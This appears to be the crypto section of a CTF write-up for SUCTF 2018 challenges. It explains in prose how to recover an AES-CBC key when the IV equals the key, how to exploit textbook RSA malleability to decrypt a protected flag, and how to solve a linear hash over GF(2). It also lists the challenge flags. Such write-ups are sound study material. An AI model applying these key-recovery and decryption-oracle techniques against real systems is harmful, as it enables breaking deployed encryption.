<h2 id="crypto"><a class="header-link" href="#crypto"></a>crypto</h2>
<h3 id="enjoy-(b04902036)"><a class="header-link" href="#enjoy-(b04902036)"></a>Enjoy (b04902036)</h3>
<p>this is a cbc mode aes, we can encrypt and decrypt arbitary text without terminating the process, and the key is equal to iv. With iv == key, we can reconstruct key by the following method</p>
<ol class="list">
<li>generate a 16 bytes text, called C_1</li>
<li>ask server to decrypt a 48 bytes message, which is (C_1, &#39;\X00&#39; * 16, C_1), and get a 48 bytes pseudo plaintext back, which is (P_1, P_2, P_3)</li>
<li>key == xor(P_1, P_3)
flag : flag{iv=key_is_danger}</li>
</ol>
<h3 id="rsa-good-(b04902036)"><a class="header-link" href="#rsa-good-(b04902036)"></a>Rsa good (b04902036)</h3>
<p>in this chal of RSA, we can</p>
<ol class="list">
<li>encrypt</li>
<li>decrypt</li>
<li>get encrypted flag
We can&#39;t directly decrypt the flag though, instead the server will return &#39;permission denied&#39; or somthing like that.
However since RSA is malleable, more percisely, let E(x) denote encrypting x, then E(x) = x ^ e (mod n), and we can have that E(x) <em> E(y) = E(x </em> y) mod(n).
now we have E(flag), and we can get E(2), so we ask the server to decrypt E(flag) * E(2) and divide the answer by 2, and get the flag!
flag : SUCTF{Ju5t_hav3_fun_1n_R34_4Ga1N!}</li>
</ol>
<h3 id="magic-(sasdf)"><a class="header-link" href="#magic-(sasdf)"></a>magic (sasdf)</h3>
<p>The hash algorithm in <code>playMagic</code> is <code>sum(bin(magic[i] &amp; key)) % 2</code>, repeating 256 times to generate 256 bit hash. So we have 256 simultaneous equtations of key under Galois field $F_2$. Solve the equations by Gaussian elimination to get the flag.</p>
<h3 id="rsa-(sasdf)"><a class="header-link" href="#rsa-(sasdf)"></a>rsa (sasdf)</h3>
<p>Refer to <a href="https://balsn.tw/ctf_writeup/20180526-suctf/#rsa-sasdf">https://balsn.tw/ctf_writeup/20180526-suctf/#rsa-sasdf</a></p>
<h3 id="pass-(sasdf)"><a class="header-link" href="#pass-(sasdf)"></a>pass (sasdf)</h3>
<p>Refer to <a href="https://balsn.tw/ctf_writeup/20180526-suctf/#pass-sasdf">https://balsn.tw/ctf_writeup/20180526-suctf/#pass-sasdf</a></p>
<h4 id="authentication-scheme"><a class="header-link" href="#authentication-scheme"></a>Authentication scheme</h4>
<h4 id="prng"><a class="header-link" href="#prng"></a>PRNG</h4>
        </article>
      </div>
    </div>
  </body>
</html>
